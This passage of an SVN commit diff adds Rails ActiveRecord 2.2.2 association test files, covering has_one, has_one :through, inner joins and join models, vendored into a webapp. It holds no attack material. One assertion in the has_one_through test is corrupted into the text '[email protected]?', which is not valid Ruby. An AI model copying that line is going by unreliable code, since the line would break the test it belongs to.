+    post.people_with_callbacks.clear
+    assert_equal (%w(Michael David Julian Roger) * 2).sort, log.last(8).collect(&:last).sort
+  end
+
+  def test_dynamic_find_should_respect_association_include
+    # SQL error in sort clause if :include is not included
+    # due to Unknown column 'comments.id'
+    assert Person.find(1).posts_with_comments_sorted_by_comment_id.find_by_title('Welcome to the weblog')
+  end
+
+  def test_count_with_include_should_alias_join_table
+    assert_equal 2, people(:michael).posts.count(:include => :readers)
+  end
+
+  def test_get_ids
+    assert_equal [posts(:welcome).id, posts(:authorless).id].sort, people(:michael).post_ids.sort
+  end
+
+  def test_get_ids_for_loaded_associations
+    person = people(:michael)
+    person.posts(true)
+    assert_queries(0) do
+      person.post_ids
+      person.post_ids
+    end
+  end
+
+  def test_get_ids_for_unloaded_associations_does_not_load_them
+    person = people(:michael)
+    assert !person.posts.loaded?
+    assert_equal [posts(:welcome).id, posts(:authorless).id].sort, person.post_ids.sort
+    assert !person.posts.loaded?
+  end
+
+  uses_mocha 'mocking Tag.transaction' do
+    def test_association_proxy_transaction_method_starts_transaction_in_association_class
+      Tag.expects(:transaction)
+      Post.find(:first).tags.transaction do
+        # nothing
+      end
+    end
+  end
+
+  def test_has_many_association_through_a_belongs_to_association_where_the_association_doesnt_exist
+    author = authors(:mary)
+    post = Post.create!(:title => "TITLE", :body => "BODY")
+    assert_equal [], post.author_favorites
+  end
+
+  def test_has_many_association_through_a_belongs_to_association
+    author = authors(:mary)
+    post = Post.create!(:author => author, :title => "TITLE", :body => "BODY")
+    author.author_favorites.create(:favorite_author_id => 1)
+    author.author_favorites.create(:favorite_author_id => 2)
+    author.author_favorites.create(:favorite_author_id => 3)
+    assert_equal post.author.author_favorites, post.author_favorites
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/has_one_associations_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/has_one_associations_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/has_one_associations_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,362 @@
+require "cases/helper"
+require 'models/developer'
+require 'models/project'
+require 'models/company'
+
+class HasOneAssociationsTest < ActiveRecord::TestCase
+  fixtures :accounts, :companies, :developers, :projects, :developers_projects
+
+  def setup
+    Account.destroyed_account_ids.clear
+  end
+
+  def test_has_one
+    assert_equal companies(:first_firm).account, Account.find(1)
+    assert_equal Account.find(1).credit_limit, companies(:first_firm).account.credit_limit
+  end
+  
+  def test_has_one_cache_nils
+    firm = companies(:another_firm)
+    assert_queries(1) { assert_nil firm.account }
+    assert_queries(0) { assert_nil firm.account }
+
+    firms = Firm.find(:all, :include => :account)
+    assert_queries(0) { firms.each(&:account) }
+  end
+
+  def test_with_select
+    assert_equal Firm.find(1).account_with_select.attributes.size, 2
+    assert_equal Firm.find(1, :include => :account_with_select).account_with_select.attributes.size, 2
+  end
+
+  def test_finding_using_primary_key
+    firm = companies(:first_firm)
+    assert_equal Account.find_by_firm_id(firm.id), firm.account
+    firm.firm_id = companies(:rails_core).id
+    assert_equal accounts(:rails_core_account), firm.account_using_primary_key
+  end
+
+  def test_can_marshal_has_one_association_with_nil_target
+    firm = Firm.new
+    assert_nothing_raised do
+      assert_equal firm.attributes, Marshal.load(Marshal.dump(firm)).attributes
+    end
+
+    firm.account
+    assert_nothing_raised do
+      assert_equal firm.attributes, Marshal.load(Marshal.dump(firm)).attributes
+    end
+  end
+
+  def test_proxy_assignment
+    company = companies(:first_firm)
+    assert_nothing_raised { company.account = company.account }
+  end
+
+  def test_triple_equality
+    assert Account === companies(:first_firm).account
+    assert companies(:first_firm).account === Account
+  end
+
+  def test_type_mismatch
+    assert_raises(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).account = 1 }
+    assert_raises(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).account = Project.find(1) }
+  end
+
+  def test_natural_assignment
+    apple = Firm.create("name" => "Apple")
+    citibank = Account.create("credit_limit" => 10)
+    apple.account = citibank
+    assert_equal apple.id, citibank.firm_id
+  end
+
+  def test_natural_assignment_to_nil
+    old_account_id = companies(:first_firm).account.id
+    companies(:first_firm).account = nil
+    companies(:first_firm).save
+    assert_nil companies(:first_firm).account
+    # account is dependent, therefore is destroyed when reference to owner is lost
+    assert_raises(ActiveRecord::RecordNotFound) { Account.find(old_account_id) }
+  end
+
+  def test_natural_assignment_to_already_associated_record
+    company = companies(:first_firm)
+    account = accounts(:signals37)
+    assert_equal company.account, account
+    company.account = account
+    company.reload
+    account.reload
+    assert_equal company.account, account
+  end
+
+  def test_assignment_without_replacement
+    apple = Firm.create("name" => "Apple")
+    citibank = Account.create("credit_limit" => 10)
+    apple.account = citibank
+    assert_equal apple.id, citibank.firm_id
+
+    hsbc = apple.build_account({ :credit_limit => 20}, false)
+    assert_equal apple.id, hsbc.firm_id
+    hsbc.save
+    assert_equal apple.id, citibank.firm_id
+
+    nykredit = apple.create_account({ :credit_limit => 30}, false)
+    assert_equal apple.id, nykredit.firm_id
+    assert_equal apple.id, citibank.firm_id
+    assert_equal apple.id, hsbc.firm_id
+  end
+
+  def test_assignment_without_replacement_on_create
+    apple = Firm.create("name" => "Apple")
+    citibank = Account.create("credit_limit" => 10)
+    apple.account = citibank
+    assert_equal apple.id, citibank.firm_id
+
+    hsbc = apple.create_account({:credit_limit => 10}, false)
+    assert_equal apple.id, hsbc.firm_id
+    hsbc.save
+    assert_equal apple.id, citibank.firm_id
+  end
+
+  def test_dependence
+    num_accounts = Account.count
+
+    firm = Firm.find(1)
+    assert !firm.account.nil?
+    account_id = firm.account.id
+    assert_equal [], Account.destroyed_account_ids[firm.id]
+
+    firm.destroy
+    assert_equal num_accounts - 1, Account.count
+    assert_equal [account_id], Account.destroyed_account_ids[firm.id]
+  end
+
+  def test_exclusive_dependence
+    num_accounts = Account.count
+
+    firm = ExclusivelyDependentFirm.find(9)
+    assert !firm.account.nil?
+    account_id = firm.account.id
+    assert_equal [], Account.destroyed_account_ids[firm.id]
+
+    firm.destroy
+    assert_equal num_accounts - 1, Account.count
+    assert_equal [], Account.destroyed_account_ids[firm.id]
+  end
+
+  def test_dependence_with_nil_associate
+    firm = DependentFirm.new(:name => 'nullify')
+    firm.save!
+    assert_nothing_raised { firm.destroy }
+  end
+
+  def test_succesful_build_association
+    firm = Firm.new("name" => "GlobalMegaCorp")
+    firm.save
+
+    account = firm.build_account("credit_limit" => 1000)
+    assert account.save
+    assert_equal account, firm.account
+  end
+
+  def test_failing_build_association
+    firm = Firm.new("name" => "GlobalMegaCorp")
+    firm.save
+
+    account = firm.build_account
+    assert !account.save
+    assert_equal "can't be empty", account.errors.on("credit_limit")
+  end
+
+  def test_build_association_twice_without_saving_affects_nothing
+    count_of_account = Account.count
+    firm = Firm.find(:first)
+    account1 = firm.build_account("credit_limit" => 1000)
+    account2 = firm.build_account("credit_limit" => 2000)
+
+    assert_equal count_of_account, Account.count
+  end
+
+  def test_create_association
+    firm = Firm.create(:name => "GlobalMegaCorp")
+    account = firm.create_account(:credit_limit => 1000)
+    assert_equal account, firm.reload.account
+  end
+
+  def test_build
+    firm = Firm.new("name" => "GlobalMegaCorp")
+    firm.save
+
+    firm.account = account = Account.new("credit_limit" => 1000)
+    assert_equal account, firm.account
+    assert account.save
+    assert_equal account, firm.account
+  end
+
+  def test_build_before_child_saved
+    firm = Firm.find(1)
+
+    account = firm.account.build("credit_limit" => 1000)
+    assert_equal account, firm.account
+    assert account.new_record?
+    assert firm.save
+    assert_equal account, firm.account
+    assert !account.new_record?
+  end
+
+  def test_build_before_either_saved
+    firm = Firm.new("name" => "GlobalMegaCorp")
+
+    firm.account = account = Account.new("credit_limit" => 1000)
+    assert_equal account, firm.account
+    assert account.new_record?
+    assert firm.save
+    assert_equal account, firm.account
+    assert !account.new_record?
+  end
+
+  def test_failing_build_association
+    firm = Firm.new("name" => "GlobalMegaCorp")
+    firm.save
+
+    firm.account = account = Account.new
+    assert_equal account, firm.account
+    assert !account.save
+    assert_equal account, firm.account
+    assert_equal "can't be empty", account.errors.on("credit_limit")
+  end
+
+  def test_create
+    firm = Firm.new("name" => "GlobalMegaCorp")
+    firm.save
+    firm.account = account = Account.create("credit_limit" => 1000)
+    assert_equal account, firm.account
+  end
+
+  def test_create_before_save
+    firm = Firm.new("name" => "GlobalMegaCorp")
+    firm.account = account = Account.create("credit_limit" => 1000)
+    assert_equal account, firm.account
+  end
+
+  def test_dependence_with_missing_association
+    Account.destroy_all
+    firm = Firm.find(1)
+    assert firm.account.nil?
+    firm.destroy
+  end
+
+  def test_dependence_with_missing_association_and_nullify
+    Account.destroy_all
+    firm = DependentFirm.find(:first)
+    assert firm.account.nil?
+    firm.destroy
+  end
+
+  def test_assignment_before_parent_saved
+    firm = Firm.new("name" => "GlobalMegaCorp")
+    firm.account = a = Account.find(1)
+    assert firm.new_record?
+    assert_equal a, firm.account
+    assert firm.save
+    assert_equal a, firm.account
+    assert_equal a, firm.account(true)
+  end
+
+  def test_finding_with_interpolated_condition
+    firm = Firm.find(:first)
+    superior = firm.clients.create(:name => 'SuperiorCo')
+    superior.rating = 10
+    superior.save
+    assert_equal 10, firm.clients_with_interpolated_conditions.first.rating
+  end
+
+  def test_assignment_before_child_saved
+    firm = Firm.find(1)
+    firm.account = a = Account.new("credit_limit" => 1000)
+    assert !a.new_record?
+    assert_equal a, firm.account
+    assert_equal a, firm.account
+    assert_equal a, firm.account(true)
+  end
+  
+  def test_save_fails_for_invalid_has_one
+    firm = Firm.find(:first)
+    assert firm.valid?
+    
+    firm.account = Account.new
+    
+    assert !firm.account.valid?
+    assert !firm.valid?
+    assert !firm.save
+    assert_equal "is invalid", firm.errors.on("account")
+  end
+
+
+  def test_save_succeeds_for_invalid_has_one_with_validate_false
+    firm = Firm.find(:first)
+    assert firm.valid?
+
+    firm.unvalidated_account = Account.new
+
+    assert !firm.unvalidated_account.valid?
+    assert firm.valid?
+    assert firm.save
+  end
+
+  def test_assignment_before_either_saved
+    firm = Firm.new("name" => "GlobalMegaCorp")
+    firm.account = a = Account.new("credit_limit" => 1000)
+    assert firm.new_record?
+    assert a.new_record?
+    assert_equal a, firm.account
+    assert firm.save
+    assert !firm.new_record?
+    assert !a.new_record?
+    assert_equal a, firm.account
+    assert_equal a, firm.account(true)
+  end
+
+  def test_not_resaved_when_unchanged
+    firm = Firm.find(:first, :include => :account)
+    firm.name += '-changed'
+    assert_queries(1) { firm.save! }
+
+    firm = Firm.find(:first)
+    firm.account = Account.find(:first)
+    assert_queries(Firm.partial_updates? ? 0 : 1) { firm.save! }
+
+    firm = Firm.find(:first).clone
+    firm.account = Account.find(:first)
+    assert_queries(2) { firm.save! }
+
+    firm = Firm.find(:first).clone
+    firm.account = Account.find(:first).clone
+    assert_queries(2) { firm.save! }
+  end
+
+  def test_save_still_works_after_accessing_nil_has_one
+    jp = Company.new :name => 'Jaded Pixel'
+    jp.dummy_account.nil?
+
+    assert_nothing_raised do
+      jp.save!
+    end
+  end
+
+  def test_cant_save_readonly_association
+    assert_raise(ActiveRecord::ReadOnlyRecord) { companies(:first_firm).readonly_account.save!  }
+    assert companies(:first_firm).readonly_account.readonly?
+  end
+
+  def test_has_one_proxy_should_not_respond_to_private_methods
+    assert_raises(NoMethodError) { accounts(:signals37).private_method }
+    assert_raises(NoMethodError) { companies(:first_firm).account.private_method }
+  end
+
+  def test_has_one_proxy_should_respond_to_private_methods_via_send
+    accounts(:signals37).send(:private_method)
+    companies(:first_firm).account.send(:private_method)
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/has_one_through_associations_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/has_one_through_associations_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/has_one_through_associations_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,161 @@
+require "cases/helper"
+require 'models/club'
+require 'models/member'
+require 'models/membership'
+require 'models/sponsor'
+require 'models/organization'
+require 'models/member_detail'
+
+class HasOneThroughAssociationsTest < ActiveRecord::TestCase
+  fixtures :members, :clubs, :memberships, :sponsors, :organizations
+  
+  def setup
+    @member = members(:groucho)
+  end
+
+  def test_has_one_through_with_has_one
+    assert_equal clubs(:boring_club), @member.club
+  end
+
+  def test_has_one_through_with_has_many
+    assert_equal clubs(:moustache_club), @member.favourite_club
+  end
+  
+  def test_creating_association_creates_through_record
+    new_member = Member.create(:name => "Chris")
+    new_member.club = Club.create(:name => "LRUG")
+    assert_not_nil new_member.current_membership
+    assert_not_nil new_member.club
+  end
+  
+  def test_replace_target_record
+    new_club = Club.create(:name => "Marx Bros")
+    @member.club = new_club
+    @member.reload
+    assert_equal new_club, @member.club
+  end
+  
+  def test_replacing_target_record_deletes_old_association
+    assert_no_difference "Membership.count" do
+      new_club = Club.create(:name => "Bananarama")
+      @member.club = new_club
+      @member.reload      
+    end
+  end
+  
+  def test_has_one_through_polymorphic
+    assert_equal clubs(:moustache_club), @member.sponsor_club
+  end
+
+  def has_one_through_to_has_many
+    assert_equal 2, @member.fellow_members.size
+  end
+
+  def test_has_one_through_eager_loading
+    members = assert_queries(3) do #base table, through table, clubs table
+      Member.find(:all, :include => :club, :conditions => ["name = ?", "Groucho Marx"])
+    end
+    assert_equal 1, members.size
+    assert_not_nil assert_no_queries {members[0].club}
+  end
+
+  def test_has_one_through_eager_loading_through_polymorphic
+    members = assert_queries(3) do #base table, through table, clubs table
+      Member.find(:all, :include => :sponsor_club, :conditions => ["name = ?", "Groucho Marx"])
+    end
+    assert_equal 1, members.size
+    assert_not_nil assert_no_queries {members[0].sponsor_club}    
+  end
+
+  def test_has_one_through_polymorphic_with_source_type
+    assert_equal members(:groucho), clubs(:moustache_club).sponsored_member
+  end
+
+  def test_eager_has_one_through_polymorphic_with_source_type
+    clubs = Club.find(:all, :include => :sponsored_member, :conditions => ["name = ?","Moustache and Eyebrow Fancier Club"])
+    # Only the eyebrow fanciers club has a sponsored_member
+    assert_not_nil assert_no_queries {clubs[0].sponsored_member}
+  end
+
+  def test_has_one_through_nonpreload_eagerloading
+    members = assert_queries(1) do
+      Member.find(:all, :include => :club, :conditions => ["members.name = ?", "Groucho Marx"], :order => 'clubs.name') #force fallback
+    end
+    assert_equal 1, members.size
+    assert_not_nil assert_no_queries {members[0].club}
+  end
+
+  def test_has_one_through_nonpreload_eager_loading_through_polymorphic
+    members = assert_queries(1) do
+      Member.find(:all, :include => :sponsor_club, :conditions => ["members.name = ?", "Groucho Marx"], :order => 'clubs.name') #force fallback
+    end
+    assert_equal 1, members.size
+    assert_not_nil assert_no_queries {members[0].sponsor_club}
+  end
+
+  def test_has_one_through_nonpreload_eager_loading_through_polymorphic_with_more_than_one_through_record
+    Sponsor.new(:sponsor_club => clubs(:crazy_club), :sponsorable => members(:groucho)).save!
+    members = assert_queries(1) do
+      Member.find(:all, :include => :sponsor_club, :conditions => ["members.name = ?", "Groucho Marx"], :order => 'clubs.name DESC') #force fallback
+    end
+    assert_equal 1, members.size
+    assert_not_nil assert_no_queries { members[0].sponsor_club }
+    assert_equal clubs(:crazy_club), members[0].sponsor_club
+  end
+
+  def test_uninitialized_has_one_through_should_return_nil_for_unsaved_record
+    assert_nil Member.new.club
+  end
+
+  def test_assigning_association_correctly_assigns_target
+    new_member = Member.create(:name => "Chris")
+    new_member.club = new_club = Club.create(:name => "LRUG")
+    assert_equal new_club, new_member.club.target
+  end
+
+  def test_has_one_through_proxy_should_not_respond_to_private_methods
+    assert_raises(NoMethodError) { clubs(:moustache_club).private_method }
+    assert_raises(NoMethodError) { @member.club.private_method }
+  end
+
+  def test_has_one_through_proxy_should_respond_to_private_methods_via_send
+    clubs(:moustache_club).send(:private_method)
+    @member.club.send(:private_method)
+  end
+
+  def test_assigning_to_has_one_through_preserves_decorated_join_record
+    @organization = organizations(:nsa)
+    assert_difference 'MemberDetail.count', 1 do
+      @member_detail = MemberDetail.new(:extra_data => 'Extra')
+      @member.member_detail = @member_detail
+      @member.organization = @organization
+    end
+    assert_equal @organization, @member.organization
+    assert @organization.members.include?(@member)
+    assert_equal 'Extra', @member.member_detail.extra_data
+  end
+
+  def test_reassigning_has_one_through
+    @organization = organizations(:nsa)
+    @new_organization = organizations(:discordians)
+
+    assert_difference 'MemberDetail.count', 1 do
+      @member_detail = MemberDetail.new(:extra_data => 'Extra')
+      @member.member_detail = @member_detail
+      @member.organization = @organization
+    end
+    assert_equal @organization, @member.organization
+    assert_equal 'Extra', @member.member_detail.extra_data
+    assert @organization.members.include?(@member)
+    assert !@new_organization.members.include?(@member)
+
+    assert_no_difference 'MemberDetail.count' do
+      @member.organization = @new_organization
+    end
+    assert_equal @new_organization, @member.organization
+    assert_equal 'Extra', @member.member_detail.extra_data
+    assert [email protected]?(@member)
+    assert @new_organization.members.include?(@member)
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/inner_join_association_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/inner_join_association_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/inner_join_association_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,88 @@
+require "cases/helper"
+require 'models/post'
+require 'models/comment'
+require 'models/author'
+require 'models/category'
+require 'models/categorization'
+
+class InnerJoinAssociationTest < ActiveRecord::TestCase
+  fixtures :authors, :posts, :comments, :categories, :categories_posts, :categorizations
+
+  def test_construct_finder_sql_creates_inner_joins
+    sql = Author.send(:construct_finder_sql, :joins => :posts)
+    assert_match /INNER JOIN .?posts.? ON .?posts.?.author_id = authors.id/, sql
+  end
+
+  def test_construct_finder_sql_cascades_inner_joins
+    sql = Author.send(:construct_finder_sql, :joins => {:posts => :comments})
+    assert_match /INNER JOIN .?posts.? ON .?posts.?.author_id = authors.id/, sql
+    assert_match /INNER JOIN .?comments.? ON .?comments.?.post_id = posts.id/, sql
+  end
+
+  def test_construct_finder_sql_inner_joins_through_associations
+    sql = Author.send(:construct_finder_sql, :joins => :categorized_posts)
+    assert_match /INNER JOIN .?categorizations.?.*INNER JOIN .?posts.?/, sql
+  end
+
+  def test_construct_finder_sql_applies_association_conditions
+    sql = Author.send(:construct_finder_sql, :joins => :categories_like_general, :conditions => "TERMINATING_MARKER")
+    assert_match /INNER JOIN .?categories.? ON.*AND.*.?General.?.*TERMINATING_MARKER/, sql
+  end
+
+  def test_construct_finder_sql_unpacks_nested_joins
+    sql = Author.send(:construct_finder_sql, :joins => {:posts => [[:comments]]})
+    assert_no_match /inner join.*inner join.*inner join/i, sql, "only two join clauses should be present"
+    assert_match /INNER JOIN .?posts.? ON .?posts.?.author_id = authors.id/, sql
+    assert_match /INNER JOIN .?comments.? ON .?comments.?.post_id = .?posts.?.id/, sql
+  end
+
+  def test_construct_finder_sql_ignores_empty_joins_hash
+    sql = Author.send(:construct_finder_sql, :joins => {})
+    assert_no_match /JOIN/i, sql
+  end
+
+  def test_construct_finder_sql_ignores_empty_joins_array
+    sql = Author.send(:construct_finder_sql, :joins => [])
+    assert_no_match /JOIN/i, sql
+  end
+
+  def test_find_with_implicit_inner_joins_honors_readonly_without_select
+    authors = Author.find(:all, :joins => :posts)
+    assert !authors.empty?, "expected authors to be non-empty"
+    assert authors.all? {|a| a.readonly? }, "expected all authors to be readonly"
+  end
+
+  def test_find_with_implicit_inner_joins_honors_readonly_with_select
+    authors = Author.find(:all, :select => 'authors.*', :joins => :posts)
+    assert !authors.empty?, "expected authors to be non-empty"
+    assert authors.all? {|a| !a.readonly? }, "expected no authors to be readonly"
+  end
+
+  def test_find_with_implicit_inner_joins_honors_readonly_false
+    authors = Author.find(:all, :joins => :posts, :readonly => false)
+    assert !authors.empty?, "expected authors to be non-empty"
+    assert authors.all? {|a| !a.readonly? }, "expected no authors to be readonly"
+  end
+
+  def test_find_with_implicit_inner_joins_does_not_set_associations
+    authors = Author.find(:all, :select => 'authors.*', :joins => :posts)
+    assert !authors.empty?, "expected authors to be non-empty"
+    assert authors.all? {|a| !a.send(:instance_variable_names).include?("@posts")}, "expected no authors to have the @posts association loaded"
+  end
+
+  def test_count_honors_implicit_inner_joins
+    real_count = Author.find(:all).sum{|a| a.posts.count }
+    assert_equal real_count, Author.count(:joins => :posts), "plain inner join count should match the number of referenced posts records"
+  end
+
+  def test_calculate_honors_implicit_inner_joins
+    real_count = Author.find(:all).sum{|a| a.posts.count }
+    assert_equal real_count, Author.calculate(:count, 'authors.id', :joins => :posts), "plain inner join count should match the number of referenced posts records"
+  end
+
+  def test_calculate_honors_implicit_inner_joins_and_distinct_and_conditions
+    real_count = Author.find(:all).select {|a| a.posts.any? {|p| p.title =~ /^Welcome/} }.length
+    authors_with_welcoming_post_titles = Author.calculate(:count, 'authors.id', :joins => :posts, :distinct => true, :conditions => "posts.title like 'Welcome%'")
+    assert_equal real_count, authors_with_welcoming_post_titles, "inner join and conditions should have only returned authors posting titles starting with 'Welcome'"
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/join_model_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/join_model_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/join_model_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,714 @@
+require "cases/helper"
+require 'models/tag'
+require 'models/tagging'
+require 'models/post'
+require 'models/item'
+require 'models/comment'
+require 'models/author'
+require 'models/category'
+require 'models/categorization'
+require 'models/vertex'
+require 'models/edge'
+require 'models/book'
+require 'models/citation'
+
+class AssociationsJoinModelTest < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+  fixtures :posts, :authors, :categories, :categorizations, :comments, :tags, :taggings, :author_favorites, :vertices, :items, :books
+
+  def test_has_many
+    assert authors(:david).categories.include?(categories(:general))
+  end
+
+  def test_has_many_inherited
+    assert authors(:mary).categories.include?(categories(:sti_test))
+  end
+
+  def test_inherited_has_many
+    assert categories(:sti_test).authors.include?(authors(:mary))
+  end
+
+  def test_has_many_uniq_through_join_model
+    assert_equal 2, authors(:mary).categorized_posts.size
+    assert_equal 1, authors(:mary).unique_categorized_posts.size
+  end
+
+  def test_has_many_uniq_through_count
+    author = authors(:mary)
+    assert !authors(:mary).unique_categorized_posts.loaded?
+    assert_queries(1) { assert_equal 1, author.unique_categorized_posts.count }
+    assert_queries(1) { assert_equal 1, author.unique_categorized_posts.count(:title) }
+    assert_queries(1) { assert_equal 0, author.unique_categorized_posts.count(:title, :conditions => "title is NULL") }
+    assert !authors(:mary).unique_categorized_posts.loaded?
+  end
+  
+  def test_has_many_uniq_through_find
+    assert_equal 1, authors(:mary).unique_categorized_posts.find(:all).size
+  end
+  
+  def test_has_many_uniq_through_dynamic_find
+    assert_equal 1, authors(:mary).unique_categorized_posts.find_all_by_title("So I was thinking").size
+  end
+
+  def test_polymorphic_has_many
+    assert posts(:welcome).taggings.include?(taggings(:welcome_general))
+  end
+
+  def test_polymorphic_has_one
+    assert_equal taggings(:welcome_general), posts(:welcome).tagging
+  end
+
+  def test_polymorphic_belongs_to
+    assert_equal posts(:welcome), posts(:welcome).taggings.first.taggable
+  end
+
+  def test_polymorphic_has_many_going_through_join_model
+    assert_equal tags(:general), tag = posts(:welcome).tags.first
+    assert_no_queries do
+      tag.tagging
+    end
+  end
+
+  def test_count_polymorphic_has_many
+    assert_equal 1, posts(:welcome).taggings.count
+    assert_equal 1, posts(:welcome).tags.count
+  end
+
+  def test_polymorphic_has_many_going_through_join_model_with_find
+    assert_equal tags(:general), tag = posts(:welcome).tags.find(:first)
+    assert_no_queries do
+      tag.tagging
+    end
+  end
+
+  def test_polymorphic_has_many_going_through_join_model_with_include_on_source_reflection
+    assert_equal tags(:general), tag = posts(:welcome).funky_tags.first
+    assert_no_queries do
+      tag.tagging
+    end
+  end
+
+  def test_polymorphic_has_many_going_through_join_model_with_include_on_source_reflection_with_find
+    assert_equal tags(:general), tag = posts(:welcome).funky_tags.find(:first)
+    assert_no_queries do
+      tag.tagging
+    end
+  end
+
+  def test_polymorphic_has_many_going_through_join_model_with_disabled_include
+    assert_equal tags(:general), tag = posts(:welcome).tags.add_joins_and_select.first
+    assert_queries 1 do
+      tag.tagging
+    end
+  end
+
+  def test_polymorphic_has_many_going_through_join_model_with_custom_select_and_joins
+    assert_equal tags(:general), tag = posts(:welcome).tags.add_joins_and_select.first
+    tag.author_id
+  end
+
+  def test_polymorphic_has_many_going_through_join_model_with_custom_foreign_key
+    assert_equal tags(:misc), taggings(:welcome_general).super_tag
+    assert_equal tags(:misc), posts(:welcome).super_tags.first
+  end
+
+  def test_polymorphic_has_many_create_model_with_inheritance_and_custom_base_class
+    post = SubStiPost.create :title => 'SubStiPost', :body => 'SubStiPost body'
+    assert_instance_of SubStiPost, post
+
+    tagging = tags(:misc).taggings.create(:taggable => post)
+    assert_equal "SubStiPost", tagging.taggable_type
+  end
+
+  def test_polymorphic_has_many_going_through_join_model_with_inheritance
+    assert_equal tags(:general), posts(:thinking).tags.first
+  end
+
+  def test_polymorphic_has_many_going_through_join_model_with_inheritance_with_custom_class_name
+    assert_equal tags(:general), posts(:thinking).funky_tags.first
+  end
+
+  def test_polymorphic_has_many_create_model_with_inheritance
+    post = posts(:thinking)
+    assert_instance_of SpecialPost, post
+
+    tagging = tags(:misc).taggings.create(:taggable => post)
+    assert_equal "Post", tagging.taggable_type
+  end
+
+  def test_polymorphic_has_one_create_model_with_inheritance
+    tagging = tags(:misc).create_tagging(:taggable => posts(:thinking))
+    assert_equal "Post", tagging.taggable_type
+  end
+
+  def test_set_polymorphic_has_many
+    tagging = tags(:misc).taggings.create
+    posts(:thinking).taggings << tagging
+    assert_equal "Post", tagging.taggable_type
+  end
+
+  def test_set_polymorphic_has_one
+    tagging = tags(:misc).taggings.create
+    posts(:thinking).tagging = tagging
+    assert_equal "Post", tagging.taggable_type
+  end
+
+  def test_create_polymorphic_has_many_with_scope
+    old_count = posts(:welcome).taggings.count
+    tagging = posts(:welcome).taggings.create(:tag => tags(:misc))
+    assert_equal "Post", tagging.taggable_type
+    assert_equal old_count+1, posts(:welcome).taggings.count
+  end
+
+  def test_create_bang_polymorphic_with_has_many_scope
+    old_count = posts(:welcome).taggings.count
+    tagging = posts(:welcome).taggings.create!(:tag => tags(:misc))
+    assert_equal "Post", tagging.taggable_type
+    assert_equal old_count+1, posts(:welcome).taggings.count
+  end
+
+  def test_create_polymorphic_has_one_with_scope
+    old_count = Tagging.count
+    tagging = posts(:welcome).tagging.create(:tag => tags(:misc))
+    assert_equal "Post", tagging.taggable_type
+    assert_equal old_count+1, Tagging.count
+  end
+
+  def test_delete_polymorphic_has_many_with_delete_all
+    assert_equal 1, posts(:welcome).taggings.count
+    posts(:welcome).taggings.first.update_attribute :taggable_type, 'PostWithHasManyDeleteAll'
+    post = find_post_with_dependency(1, :has_many, :taggings, :delete_all)
+
+    old_count = Tagging.count
+    post.destroy
+    assert_equal old_count-1, Tagging.count
+    assert_equal 0, posts(:welcome).taggings.count
+  end
+
+  def test_delete_polymorphic_has_many_with_destroy
+    assert_equal 1, posts(:welcome).taggings.count
+    posts(:welcome).taggings.first.update_attribute :taggable_type, 'PostWithHasManyDestroy'
+    post = find_post_with_dependency(1, :has_many, :taggings, :destroy)
+
+    old_count = Tagging.count
+    post.destroy
+    assert_equal old_count-1, Tagging.count
+    assert_equal 0, posts(:welcome).taggings.count
+  end
+
+  def test_delete_polymorphic_has_many_with_nullify
+    assert_equal 1, posts(:welcome).taggings.count
+    posts(:welcome).taggings.first.update_attribute :taggable_type, 'PostWithHasManyNullify'
+    post = find_post_with_dependency(1, :has_many, :taggings, :nullify)
+
+    old_count = Tagging.count
+    post.destroy
+    assert_equal old_count, Tagging.count
+    assert_equal 0, posts(:welcome).taggings.count
+  end
+
+  def test_delete_polymorphic_has_one_with_destroy
+    assert posts(:welcome).tagging
+    posts(:welcome).tagging.update_attribute :taggable_type, 'PostWithHasOneDestroy'
+    post = find_post_with_dependency(1, :has_one, :tagging, :destroy)
+
+    old_count = Tagging.count
+    post.destroy
+    assert_equal old_count-1, Tagging.count
+    assert_nil posts(:welcome).tagging(true)
+  end
+
+  def test_delete_polymorphic_has_one_with_nullify
+    assert posts(:welcome).tagging
+    posts(:welcome).tagging.update_attribute :taggable_type, 'PostWithHasOneNullify'
+    post = find_post_with_dependency(1, :has_one, :tagging, :nullify)
+
+    old_count = Tagging.count
+    post.destroy
+    assert_equal old_count, Tagging.count
+    assert_nil posts(:welcome).tagging(true)
+  end
+
+  def test_has_many_with_piggyback
+    assert_equal "2", categories(:sti_test).authors.first.post_id.to_s
+  end
+
+  def test_include_has_many_through
+    posts              = Post.find(:all, :order => 'posts.id')
+    posts_with_authors = Post.find(:all, :include => :authors, :order => 'posts.id')
+    assert_equal posts.length, posts_with_authors.length
+    posts.length.times do |i|
+      assert_equal posts[i].authors.length, assert_no_queries { posts_with_authors[i].authors.length }
+    end
+  end
+
+  def test_include_polymorphic_has_one
+    post    = Post.find_by_id(posts(:welcome).id, :include => :tagging)
+    tagging = taggings(:welcome_general)
+    assert_no_queries do
